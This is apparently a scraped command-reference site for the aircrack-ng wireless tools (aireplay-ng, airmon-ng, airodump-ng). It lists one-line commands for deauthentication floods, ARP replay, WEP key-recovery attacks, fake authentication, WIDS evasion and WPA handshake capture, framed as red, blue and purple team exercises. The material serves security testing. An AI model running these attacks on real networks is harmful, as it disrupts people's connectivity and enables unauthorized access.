Filters and replays only packets matching specific minimum and maximum lengths to target ARP requests ### aireplay-ng -2 -b 00:11:22:33:44:55 -p 0841 -c FF:FF:FF:FF:FF:FF wlan0mon ```bash aireplay-ng -2 -b 00:11:22:33:44:55 -p 0841 -c FF:FF:FF:FF:FF:FF wlan0mon ``` Interactively replays packets with a specific Frame Control field (0841) to generate IVs ### aireplay-ng -2 -r capture.cap -b 00:11:22:33:44:55 wlan0mon ```bash aireplay-ng -2 -r capture.cap -b 00:11:22:33:44:55 wlan0mon ``` Extracts packets from a PCAP file and allows interactive selection for injection into the live network ## ARP Request Replay ### aireplay-ng -3 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ```bash aireplay-ng -3 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ``` Listens for ARP requests and immediately replays them to generate new IVs rapidly ### aireplay-ng -3 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -x 500 wlan0mon ```bash aireplay-ng -3 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -x 500 wlan0mon ``` Executes an ARP replay attack while limiting the injection rate to 500 packets per second ### aireplay-ng -3 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -j wlan0mon ```bash aireplay-ng -3 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -j wlan0mon ``` Performs ARP replay injection mapping to create a merged capture file (arp-request) ## Chopchop Attack ### aireplay-ng -4 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ```bash aireplay-ng -4 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ``` Executes the KoreK Chopchop attack to decrypt a WEP packet byte by byte without knowing the key ### aireplay-ng -4 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -F wlan0mon ```bash aireplay-ng -4 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -F wlan0mon ``` Attempts the Chopchop attack but ignores the standard strategy filter to try on any packet ## Fragmentation Attack ### aireplay-ng -5 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ```bash aireplay-ng -5 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ``` Launches a Fragmentation attack to obtain a PRGA (Pseudo Random Generation Algorithm) keystream ### aireplay-ng -5 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -k 192.168.1.100 wlan0mon ```bash aireplay-ng -5 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -k 192.168.1.100 wlan0mon ``` Performs a Fragmentation attack targeting a specific destination IP to generate a valid keystream ## Cafe Latte Attack ### aireplay-ng -6 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ```bash aireplay-ng -6 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ``` Executes the Cafe Latte attack against a client to recover a WEP key by manipulating ARP requests ## Client-Oriented Fragmentation ### aireplay-ng -7 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ```bash aireplay-ng -7 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ``` Uses the Hirte attack against a client to recover WEP keystreams using fragmentation techniques ## WPA Migration Mode ### aireplay-ng -8 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ```bash aireplay-ng -8 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ``` Attacks WPA migration mode capable Access Points by sending WEP encapsulated broadcast ARP requests ## Injection Test ### aireplay-ng -9 -i wlan1 wlan0mon ```bash aireplay-ng -9 -i wlan1 wlan0mon ``` Tests injection with a secondary card acting as the sniffer to validate the primary card's injection success ## Timing Control ### aireplay-ng -1 60 -e test_lab_network -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -T 1 wlan0mon ```bash aireplay-ng -1 60 -e test_lab_network -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -T 1 wlan0mon ``` Performs fake authentication with retry logic set to exit immediately if the fake auth fails ## Red Team Simulation ### aireplay-ng -0 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF --deauth-rc 4 wlan0mon ```bash aireplay-ng -0 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF --deauth-rc 4 wlan0mon ``` Sends deauthentication packets simulating specific reason code 4 (Disassociated due to inactivity) for stealth testing ## Purple Team Validation ### aireplay-ng -3 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -x 10 wlan0mon ```bash aireplay-ng -3 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -x 10 wlan0mon ``` Replays ARP requests at a very low rate of 10 pps to test if WIDS threshold alerts are triggered ## Blue Team Defense ### aireplay-ng -0 1 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon ```bash aireplay-ng -0 1 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon ``` Sends a single deauth frame to validate if the defensive monitoring system logs the exact timestamp and source ## Packet Replay ### aireplay-ng -2 -r previous_attack.cap -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -p 0841 wlan0mon ```bash aireplay-ng -2 -r previous_attack.cap -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -p 0841 wlan0mon ``` Replays specific frame types from a capture file to recreate a specific traffic signature ## Custom Packet Building ### aireplay-ng -2 -b 00:11:22:33:44:55 -d FF:FF:FF:FF:FF:FF -f 1 wlan0mon ```bash aireplay-ng -2 -b 00:11:22:33:44:55 -d FF:FF:FF:FF:FF:FF -f 1 wlan0mon ``` Interactively replays packets containing the fragmentation bit set ## Performance Tuning ### aireplay-ng -3 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -x 1024 wlan0mon ```bash aireplay-ng -3 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -x 1024 wlan0mon ``` Stresses the Access Point by replaying ARP requests at the maximum reliable rate of 1024 packets per second ## Output Logging ### aireplay-ng -1 0 -e test_lab_network -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF 2>&1 | tee fakeauth_log.txt ```bash aireplay-ng -1 0 -e test_lab_network -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF 2>&1 | tee fakeauth_log.txt ``` Runs a fake authentication attack and pipes the standard output to a log file for audit records ## Automation Workflow ### timeout 60s aireplay-ng -0 0 -a 00:11:22:33:44:55 wlan0mon ```bash timeout 60s aireplay-ng -0 0 -a 00:11:22:33:44:55 wlan0mon ``` Uses the system timeout command to limit a broadcast deauthentication attack strictly to 60 seconds ## Complex Replay ### aireplay-ng -2 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -c FF:FF:FF:FF:FF:FF -p 0000 wlan0mon ```bash aireplay-ng -2 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -c FF:FF:FF:FF:FF:FF -p 0000 wlan0mon ``` Filters for management frames only (frame control 0000) for interactive replay selection ## PRGA Injection ### aireplay-ng -2 -r crafted_packet.cap -y keystream.xor wlan0mon ```bash aireplay-ng -2 -r crafted_packet.cap -y keystream.xor wlan0mon ``` Injects a crafted packet from a file by encrypting it on the fly using a known PRGA keystream ## WIDS Evasion Test ### aireplay-ng -0 1 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF --deauth-rc 1 wlan0mon ```bash aireplay-ng -0 1 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF --deauth-rc 1 wlan0mon ``` Sends deauth packets with reason code 1 (Unspecified failure) to test how WIDS interprets generic disconnects ## Advanced Injection ### aireplay-ng -2 -b 00:11:22:33:44:55 -d AA:BB:CC:DD:EE:FF -m 100 -n 120 wlan0mon ```bash aireplay-ng -2 -b 00:11:22:33:44:55 -d AA:BB:CC:DD:EE:FF -m 100 -n 120 wlan0mon ``` Targets packets within a specific size range (100-120 bytes) to identify and replay specific data flows ## Deauthentication ### aireplay-ng -0 30 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF --ignore-negative-one wlan0mon ```bash aireplay-ng -0 30 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF --ignore-negative-one wlan0mon ``` Executes a persistent deauth attack for 30 counts ensuring compatibility across different driver channel reporting ## Fake Authentication ### aireplay-ng -1 10 -e test_lab_network -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -Q wlan0mon ```bash aireplay-ng -1 10 -e test_lab_network -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -Q wlan0mon ``` Sends re-association requests periodically to a target AP with the 'Q' flag to send reassociation packets ## Defensive Stress Test ### aireplay-ng -1 0 -e test_lab_network -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -o 1 -q 1 wlan0mon ```bash aireplay-ng -1 0 -e test_lab_network -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -o 1 -q 1 wlan0mon ``` Floods the AP with keep-alive packets every second to test the AP's resource handling and logging ## Attack Source Obfuscation ### aireplay-ng -3 -b 00:11:22:33:44:55 -h 00:11:22:33:44:55 wlan0mon ```bash aireplay-ng -3 -b 00:11:22:33:44:55 -h 00:11:22:33:44:55 wlan0mon ``` Performs ARP replay spoofing the AP's own MAC address as the source to test switch port security logic ## Incident Response Simulation ### aireplay-ng -0 100 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon ```bash aireplay-ng -0 100 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon ``` Simulates a sustained denial of service attack on a VIP client to drill incident response triage procedures ## Shared Key Auth ### aireplay-ng -1 0 -e test_lab_network -y keystream.xor -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ```bash aireplay-ng -1 0 -e test_lab_network -y keystream.xor -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon ``` Uses a known PRGA XOR file to authenticate to a WEP AP protected by Shared Key Authentication ## Manual ARP Construction ### aireplay-ng -3 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -r arp_packet.cap wlan0mon ```bash aireplay-ng -3 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -r arp_packet.cap wlan0mon ``` Replays an ARP request extracted specifically from a pcap file rather than listening for a new one ## Mass Deauthentication ### aireplay-ng -0 5 -a 00:11:22:33:44:55 wlan0mon ```bash aireplay-ng -0 5 -a 00:11:22:33:44:55 wlan0mon ``` Broadcasts 5 deauthentication frames to the entire BSSID, forcing all clients to reconnect simultaneously ## Clean Up ### killall aireplay-ng ```bash killall aireplay-ng ``` Terminates all running aireplay-ng processes to ensure the wireless interface is released ## Client Interaction Check ### aireplay-ng -9 -i wlan0mon wlan0mon ```bash aireplay-ng -9 -i wlan0mon wlan0mon ``` Performs a self-test injection check to verify the interface can hear its own injected packets ## Fake Auth Picky Mode ### aireplay-ng -1 0 -e test_lab_network -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -p 1 wlan0mon ```bash aireplay-ng -1 0 -e test_lab_network -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -p 1 wlan0mon ``` Engages fake authentication with packet control set to 1 (picky) to adjust behavior for stubborn APs ## Bit-Flip Attack ### aireplay-ng -4 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -k 192.168.1.55 wlan0mon ```bash aireplay-ng -4 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -k 192.168.1.55 wlan0mon ``` Runs the Chopchop attack aiming to guess the keystream for a specific destination IP address ## Interactive Frame Selection ### aireplay-ng -2 -b 00:11:22:33:44:55 -t 1 wlan0mon ```bash aireplay-ng -2 -b 00:11:22:33:44:55 -t 1 wlan0mon ``` Starts interactive replay but only selects packets with the 'ToDS' bit set to 1 ## Final Verification ### aireplay-ng -9 -a 00:11:22:33:44:55 -i wlan1 wlan0mon ```bash aireplay-ng -9 -a 00:11:22:33:44:55 -i wlan1 wlan0mon ``` Finalizes the workflow with a targeted injection test using a secondary monitor interface for confirmation ## Related tools - [airodump-ng](https://terminal.rokibulroni.com/tool/wireless/airodump-ng) - [Aircrack-ng](https://terminal.rokibulroni.com/tool/wireless/aircrack-ng) # Tool: airmon-ng > Puts wireless interfaces into monitor mode and stops processes that would interfere with packet capture. - Category: Wireless - Commands: 55 - Page: https://terminal.rokibulroni.com/tool/wireless/airmon-ng - Homepage: https://www.aircrack-ng.org - Documentation: https://www.aircrack-ng.org/doku.php?id=airmon-ng - Tags: Wi-Fi, monitor mode ## Install - apt: `sudo apt install aircrack-ng` ## Basic Syntax ### airmon-ng ```bash airmon-ng ``` Lists all physically detected wireless interfaces and their current status without modifying them. ### airmon-ng --help ```bash airmon-ng --help ``` Displays the help menu showing supported arguments and usage syntax. ## Interfering Process Management ### airmon-ng check ```bash airmon-ng check ``` Identifies system processes like NetworkManager or wpa_supplicant that may interfere with monitor mode. ### airmon-ng check kill ```bash airmon-ng check kill ``` Forcefully terminates all processes identified as conflicting with wireless monitor mode operations. ## Monitor Mode Enablement ### airmon-ng start ```bash airmon-ng start ``` Example: ```bash airmon-ng start wlan0 ``` Enables monitor mode on the specified interface, typically creating a virtual interface named wlan0mon. ### airmon-ng start ```bash airmon-ng start ``` Example: ```bash airmon-ng start wlan0 1 ``` Enables monitor mode on the specified interface and locks the radio to channel 1. ### airmon-ng start ```bash airmon-ng start ``` Example: ```bash airmon-ng start wlan0 6 ``` Enables monitor mode on the specified interface and locks the radio to channel 6. ### airmon-ng start ```bash airmon-ng start ``` Example: ```bash airmon-ng start wlan0 11 ``` Enables monitor mode on the specified interface and locks the radio to channel 11. ## Monitor Mode Disablement ### airmon-ng stop ```bash airmon-ng stop ``` Example: ```bash airmon-ng stop wlan0mon ``` Disables monitor mode on the virtual interface and attempts to restore the original managed mode interface. ### airmon-ng stop ```bash airmon-ng stop ``` Example: ```bash airmon-ng stop wlan0 ``` Disables monitor mode by referencing the physical interface name if the virtual name is unknown. ## Output and Logging ### airmon-ng --verbose ```bash airmon-ng --verbose ``` Runs airmon-ng with verbose output to display detailed information about interface detection and driver handling. ### airmon-ng --debug ```bash airmon-ng --debug ``` Runs airmon-ng in debug mode to trace internal script execution and diagnose driver compatibility issues. ## Monitor Mode Enablement ### airmon-ng start <5ghz_channel> ```bash airmon-ng start <5ghz_channel> ``` Example: ```bash airmon-ng start wlan0 36 ``` Enables monitor mode and locks the radio to 5GHz channel 36 for low-band 5GHz analysis. ### airmon-ng start <5ghz_channel> ```bash airmon-ng start <5ghz_channel> ``` Example: ```bash airmon-ng start wlan0 149 ``` Enables monitor mode and locks the radio to 5GHz channel 149 for high-band 5GHz analysis. ## Advanced Troubleshooting ### airmon-ng --verbose start ```bash airmon-ng --verbose start ``` Example: ```bash airmon-ng --verbose start wlan0 ``` Combines verbose logging with the start command to identify errors during the monitor mode transition. ### airmon-ng --verbose stop ```bash airmon-ng --verbose stop ``` Example: ```bash airmon-ng --verbose stop wlan0mon ``` Combines verbose logging with the stop command to diagnose issues when returning to managed mode. ### airmon-ng --debug check ```bash airmon-ng --debug check ``` Debugs the process check routine to see exactly which PIDs are being identified as conflicting. ## Red Team Preparation ### airmon-ng check kill && airmon-ng start ```bash airmon-ng check kill && airmon-ng start ``` Example: ```bash airmon-ng check kill && airmon-ng start wlan0 ``` Standard Red Team preparation workflow to kill interference and immediately start monitoring in one sequence. ### airmon-ng start && iwconfig ```bash airmon-ng start && iwconfig ``` Example: ```bash airmon-ng start wlan0 && iwconfig ``` Starts monitor mode and immediately verifies the interface mode and settings using iwconfig. ### airmon-ng check kill && airmon-ng start ```bash airmon-ng check kill && airmon-ng start ``` Example: ```bash airmon-ng check kill && airmon-ng start wlan0 6 ``` Prepares the environment and starts monitoring specifically on channel 6 for targeted attacks. ## Blue Team Defensive Validation ### airmon-ng start && airodump-ng ```bash airmon-ng start && airodump-ng ``` Example: ```bash airmon-ng start wlan0 1 && airodump-ng wlan0mon ``` Starts monitor mode on channel 1 and immediately begins packet capture to validate visibility of threats. ### airmon-ng check > check_log.txt ```bash airmon-ng check > check_log.txt ``` Logs the list of interfering processes to a file for auditing which services interfere with security tools. ## Purple Team Detection Testing ### airmon-ng start && echo 'Monitor Mode Active' || echo 'Failed' ```bash airmon-ng start && echo 'Monitor Mode Active' || echo 'Failed' ``` Example: ```bash airmon-ng start wlan0 && echo 'Monitor Mode Active' || echo 'Failed' ``` Automation friendly command to attempt monitor mode and output a clear success or failure status. ## Multiple Interface Management ### airmon-ng start && airmon-ng start ```bash airmon-ng start && airmon-ng start ``` Example: ```bash airmon-ng start wlan0 && airmon-ng start wlan1 ``` Enables monitor mode on two separate physical cards for multi-channel or full-duplex attack simulation. ### airmon-ng start 6 && airmon-ng start 11 ```bash airmon-ng start 6 && airmon-ng start 11 ``` Example: ```bash airmon-ng start wlan0 6 && airmon-ng start wlan1 11 ``` Configures two interfaces on non-overlapping channels to double capture bandwidth or jam/monitor simultaneously. ## Incident Response Simulation ### airmon-ng start && tcpdump -i ```bash airmon-ng start && tcpdump -i ``` Example: ```bash airmon-ng start wlan0 && tcpdump -i wlan0mon ``` Rapidly enables monitor mode and pipes traffic into tcpdump for immediate forensic packet analysis. ## Cleanup and Recovery ### airmon-ng stop && service network-manager start ```bash airmon-ng stop && service network-manager start ``` Example: ```bash airmon-ng stop wlan0mon && service network-manager start ``` Stops monitor mode and manually restarts the Network Manager service to restore internet connectivity. ### airmon-ng stop && airmon-ng check ```bash airmon-ng stop && airmon-ng check ``` Example: ```bash airmon-ng stop wlan0mon && airmon-ng check ``` Disables monitor mode and runs a check to confirm if interference processes are still absent. ## Driver Specific Handling ### airmon-ng check kill && modprobe -r && modprobe ```bash airmon-ng check kill && modprobe -r && modprobe ``` Example: ```bash airmon-ng check kill && modprobe -r ath9k && modprobe ath9k ``` Kills processes and reloads the specific wireless driver to reset the hardware state before starting. ## Automation and Pipeline ### airmon-ng | grep ```bash airmon-ng | grep ``` Example: ```bash airmon-ng | grep Atheros ``` Filters airmon-ng output to confirm the presence of a specific chipset family for script logic. ### airmon-ng | awk '{print $2}' ```bash airmon-ng | awk '{print $2}' ``` Extracts just the interface names from the airmon-ng list for use in variables or loops. ## Specific Frequency Targeting ### airmon-ng start ```bash airmon-ng start ``` Example: ```bash airmon-ng start wlan0 52 ``` Attempts to start monitor mode on a DFS (Dynamic Frequency Selection) channel for radar compliance testing. ### airmon-ng start ```bash airmon-ng start ``` Example: ```bash airmon-ng start wlan0 120 ``` Targets specific weather radar frequencies to validate driver compliance or specialized listening capabilities. ## Legacy Compatibility ### airmon-ng start && iw set channel ```bash airmon-ng start && iw set channel ``` Example: ```bash airmon-ng start wlan0 && iw wlan0mon set channel 1 ``` Starts monitor mode via airmon-ng but delegates channel switching to 'iw' for granular control. ### airmon-ng stop && ifconfig up ```bash airmon-ng stop && ifconfig up ``` Example: ```bash airmon-ng stop wlan0mon && ifconfig wlan0 up ``` Stops monitor mode and explicitly forces the physical interface up using legacy ifconfig tools. ## Verbose Diagnostics ### airmon-ng --verbose check kill ```bash airmon-ng --verbose check kill ``` Executes the kill command with verbose output to see exactly which PIDs and process names are terminated. ## Scripted Deployment ### airmon-ng check kill; airmon-ng start wlan0; airmon-ng ```bash airmon-ng check kill; airmon-ng start wlan0; airmon-ng ``` Full scripted sequence: kill processes, start monitor mode, and print status to verify success. ## High Frequency Monitoring ### airmon-ng start 165 ```bash airmon-ng start 165 ``` Example: ```bash airmon-ng start wlan0 165 ``` Targets channel 165, often used for industrial scientific applications, to check for non-standard Wi-Fi traffic. ## Interface Renaming Verification ### airmon-ng start && ip link show ```bash airmon-ng start && ip link show ``` Example: ```bash airmon-ng start wlan0 && ip link show ``` Starts monitor mode and uses ip link to verify the new interface name (e.g., wlan0mon vs mon0). ## Safe Termination ### airmon-ng stop ; systemctl restart NetworkManager ```bash airmon-ng stop ; systemctl restart NetworkManager ``` Example: ```bash airmon-ng stop wlan0mon; systemctl restart NetworkManager ``` Modern systemd-based command to stop monitoring and restore full network stack functionality. ## Headless Operation ### airmon-ng start > /dev/null 2>&1 ```bash airmon-ng start > /dev/null 2>&1 ``` Example: ```bash airmon-ng start wlan0 > /dev/null 2>&1 ``` Starts monitor mode silently, suppressing all output, suitable for background cron jobs or automated boxes. ## Interactive Verification ### airmon-ng check kill && read -p 'Press Enter to Start' && airmon-ng start ```bash airmon-ng check kill && read -p 'Press Enter to Start' && airmon-ng start ``` Example: ```bash airmon-ng check kill && read -p 'Press Enter to Start' && airmon-ng start wlan0 ``` Pauses the workflow after killing processes to allow manual verification before enabling monitor mode. ## Conflict Resolution ### killall wpa_supplicant && airmon-ng start ```bash killall wpa_supplicant && airmon-ng start ``` Example: ```bash killall wpa_supplicant && airmon-ng start wlan0 ``` Manually kills wpa_supplicant before starting airmon-ng if the internal check fails to remove it. ## Chipset ID Enumeration ### airmon-ng | grep -E 'Ralink|Realtek|Atheros|Intel' ```bash airmon-ng | grep -E 'Ralink|Realtek|Atheros|Intel' ``` Rapidly filters airmon-ng output to identify major chipset manufacturers for driver selection. ## Reset State ### airmon-ng stop ; airmon-ng start ```bash airmon-ng stop ; airmon-ng start ``` Example: ```bash airmon-ng stop wlan0mon; airmon-ng start wlan0 ``` Cycles monitor mode off and then immediately back on to clear buffer errors or stuck radio states. ## Specific Band Start ### airmon-ng start 14 ```bash airmon-ng start 14 ``` Example: ```bash airmon-ng start wlan0 14 ``` Attempts to start on channel 14, which is valid only in specific regulatory domains (e.g., Japan). ## Virtual Interface Check ### airmon-ng | grep mon ```bash airmon-ng | grep mon ``` Quickly checks if any monitor mode interfaces are currently active. ## Red Team Persistence ### airmon-ng start && while true; do :; done ```bash airmon-ng start && while true; do :; done ``` Example: ```bash airmon-ng start wlan0 && while true; do :; done ``` Starts monitor mode and keeps the shell session alive, preventing timeout in some remote shell environments. ## Driver Debugging ### airmon-ng --debug start > debug_log.txt 2>&1 ```bash airmon-ng --debug start > debug_log.txt 2>&1 ``` Example: ```bash airmon-ng --debug start wlan0 > debug_log.txt 2>&1 ``` Captures full debug output to a file for later analysis when reporting driver bugs. ## Multi-Card Setup ### airmon-ng start wlan0 && airmon-ng start wlan1 && airmon-ng start wlan2 ```bash airmon-ng start wlan0 && airmon-ng start wlan1 && airmon-ng start wlan2 ``` Enables monitor mode on a 3-card array for simultaneous monitoring of channels 1, 6, and 11. ## Force Channel Hop ### airmon-ng start && airodump-ng --channel 1,6,11 ```bash airmon-ng start && airodump-ng --channel 1,6,11 ``` Example: ```bash airmon-ng start wlan0 && airodump-ng wlan0mon --channel 1,6,11 ``` Starts monitor mode and immediately delegates hopping between non-overlapping channels to airodump. ## Pre-flight Check ### rfkill unblock all && airmon-ng check kill ```bash rfkill unblock all && airmon-ng check kill ``` Ensures no hardware or software blocks exist via rfkill before attempting to manage processes. ## Post-Op Verification ### airmon-ng stop && ping -c 1 8.8.8.8 ```bash airmon-ng stop && ping -c 1 8.8.8.8 ``` Example: ```bash airmon-ng stop wlan0mon && ping -c 1 8.8.8.8 ``` Stops monitor mode and attempts a ping to verify that normal managed mode networking is restored. ## Advanced Channel Lock ### airmon-ng start && iwconfig freq ```bash airmon-ng start && iwconfig freq ``` Example: ```bash airmon-ng start wlan0 6 && iwconfig wlan0mon freq 2.437G ``` Starts on a channel and double-confirms the frequency lock using iwconfig for sensitive measurements. ## Full Reset Workflow ### airmon-ng stop ; rmmod ; modprobe ; airmon-ng start ```bash airmon-ng stop ; rmmod ; modprobe ; airmon-ng start ``` Example: ```bash airmon-ng stop wlan0mon; rmmod iwlwifi; modprobe iwlwifi; airmon-ng start wlan0 ``` Complete nuclear reset: stops monitor, reloads kernel module, and restarts monitor mode to clear deep driver faults. ## Related tools - [airodump-ng](https://terminal.rokibulroni.com/tool/wireless/airodump-ng) - [iw](https://terminal.rokibulroni.com/tool/wireless/iw) - [iwconfig](https://terminal.rokibulroni.com/tool/wireless/iwconfig) # Tool: airodump-ng > Captures raw 802.11 frames and lists nearby access points and clients — the first step for handshake capture. - Category: Wireless - Commands: 60 - Page: https://terminal.rokibulroni.com/tool/wireless/airodump-ng - Homepage: https://www.aircrack-ng.org - Documentation: https://www.aircrack-ng.org/doku.php?id=airodump-ng - Tags: Wi-Fi, capture, handshakes ## Install - apt: `sudo apt install aircrack-ng` ## Basic Wireless Monitoring ### airodump-ng --help ```bash airodump-ng --help ``` Displays the help menu listing all available options and syntax usage ### airodump-ng wlan0mon ```bash airodump-ng wlan0mon ``` Starts monitoring all available channels on the 2.4GHz band using the specified interface ## Interface and Channel Control ### airodump-ng -c 1 wlan0mon ```bash airodump-ng -c 1 wlan0mon ``` Restricts monitoring strictly to channel 1 to prevent channel hopping ### airodump-ng -c 6 wlan0mon ```bash airodump-ng -c 6 wlan0mon ``` Restricts monitoring strictly to channel 6 ### airodump-ng -c 11 wlan0mon ```bash airodump-ng -c 11 wlan0mon ``` Restricts monitoring strictly to channel 11 ### airodump-ng -c 1,6,11 wlan0mon ```bash airodump-ng -c 1,6,11 wlan0mon ``` Hops only between channels 1, 6, and 11 to monitor non-overlapping frequencies ### airodump-ng --channel 36-165 wlan0mon ```bash airodump-ng --channel 36-165 wlan0mon ``` Monitors a specific range of channels typically associated with the 5GHz band ### airodump-ng --band a wlan0mon ```bash airodump-ng --band a wlan0mon ``` Forces the card to hop on 5GHz band channels only ### airodump-ng --band bg wlan0mon ```bash airodump-ng --band bg wlan0mon ``` Forces the card to hop on 2.4GHz band channels only ### airodump-ng --band abg wlan0mon ```bash airodump-ng --band abg wlan0mon ``` Enables channel hopping across both 2.4GHz and 5GHz bands if the card supports it ## Access Point Filtering ### airodump-ng --bssid AA:BB:CC:DD:EE:FF wlan0mon ```bash airodump-ng --bssid AA:BB:CC:DD:EE:FF wlan0mon ``` Example: ```bash airodump-ng --bssid 00:11:22:33:44:55 wlan0mon ``` Filters the display and capture to show only traffic associated with a specific Access Point MAC address ### airodump-ng --essid 'Target_Network' wlan0mon ```bash airodump-ng --essid 'Target_Network' wlan0mon ``` Example: ```bash airodump-ng --essid 'Corporate_WiFi' wlan0mon ``` Filters the view to show only Access Points broadcasting a specific network name ### airodump-ng --essid-regex 'Corp.*' wlan0mon ```bash airodump-ng --essid-regex 'Corp.*' wlan0mon ``` Example: ```bash airodump-ng --essid-regex 'Guest.*' wlan0mon ``` Uses a regular expression to filter and display networks matching a naming pattern ## Encryption Filtering ### airodump-ng --encrypt OPN wlan0mon ```bash airodump-ng --encrypt OPN wlan0mon ``` Filters output to show only Open (unencrypted) networks, useful for finding rogue guest networks ### airodump-ng --encrypt WEP wlan0mon ```bash airodump-ng --encrypt WEP wlan0mon ``` Filters output to show only networks using legacy WEP encryption ### airodump-ng --encrypt WPA wlan0mon ```bash airodump-ng --encrypt WPA wlan0mon ``` Filters output to show only networks using WPA or WPA2 encryption ## Output and Logging ### airodump-ng -w capture_file wlan0mon ```bash airodump-ng -w capture_file wlan0mon ``` Example: ```bash airodump-ng -w lab_scan wlan0mon ``` Saves the captured packet data to files with the prefix 'lab_scan' in multiple formats ### airodump-ng --output-format csv -w report wlan0mon ```bash airodump-ng --output-format csv -w report wlan0mon ``` Example: ```bash airodump-ng --output-format csv -w daily_report wlan0mon ``` Saves the capture data only in CSV format, useful for parsing and reporting scripts ### airodump-ng --output-format pcap -w traffic wlan0mon ```bash airodump-ng --output-format pcap -w traffic wlan0mon ``` Example: ```bash airodump-ng --output-format pcap -w raw_traffic wlan0mon ``` Saves the capture data only in PCAP format for analysis in Wireshark ### airodump-ng --output-format kismet -w log wlan0mon ```bash airodump-ng --output-format kismet -w log wlan0mon ``` Example: ```bash airodump-ng --output-format kismet -w kismet_log wlan0mon ``` Saves the capture data in Kismet-compatible XML format ### airodump-ng --output-format pcap,csv,kismet -w full wlan0mon ```bash airodump-ng --output-format pcap,csv,kismet -w full wlan0mon ``` Example: ```bash airodump-ng --output-format pcap,csv,kismet -w full_audit wlan0mon ``` Explicitly requests PCAP, CSV, and Kismet output formats simultaneously ### airodump-ng --write-interval 5 -w live wlan0mon ```bash airodump-ng --write-interval 5 -w live wlan0mon ``` Example: ```bash airodump-ng --write-interval 10 -w live_data wlan0mon ``` Updates the output file on disk every 10 seconds instead of the default interval ## Red Team Reconnaissance ### airodump-ng -c 1 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon ```bash airodump-ng -c 1 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon ``` Example: ```bash airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w wpa_handshake wlan0mon ``` Targeted capture on a specific channel and BSSID to acquire WPA/WPA2 4-way handshakes ### airodump-ng --netmask 255.255.255.0 wlan0mon ```bash airodump-ng --netmask 255.255.255.0 wlan0mon ``` Filters APs by masking the BSSID, useful for identifying equipment from the same batch ### airodump-ng --ivs -w wep_attack wlan0mon ```bash airodump-ng --ivs -w wep_attack wlan0mon ``` Example: ```bash airodump-ng --ivs -w wep_crack wlan0mon ``` Saves only IVs (Initialization Vectors) instead of full packets to save space during WEP attacks ### airodump-ng --gpsd -w map_walk wlan0mon ```bash airodump-ng --gpsd -w map_walk wlan0mon ``` Example: ```bash airodump-ng --gpsd -w war_walking wlan0mon ``` Uses gpsd to tag captured networks with GPS coordinates for war walking maps ### airodump-ng --showack wlan0mon ```bash airodump-ng --showack wlan0mon ``` Displays ACK statistics to help identify the presence of hidden stations or client distance ## Blue Team Defensive Validation ### airodump-ng --wps wlan0mon ```bash airodump-ng --wps wlan0mon ``` Displays WPS (Wi-Fi Protected Setup) information to identify APs vulnerable to Pixie Dust or brute force 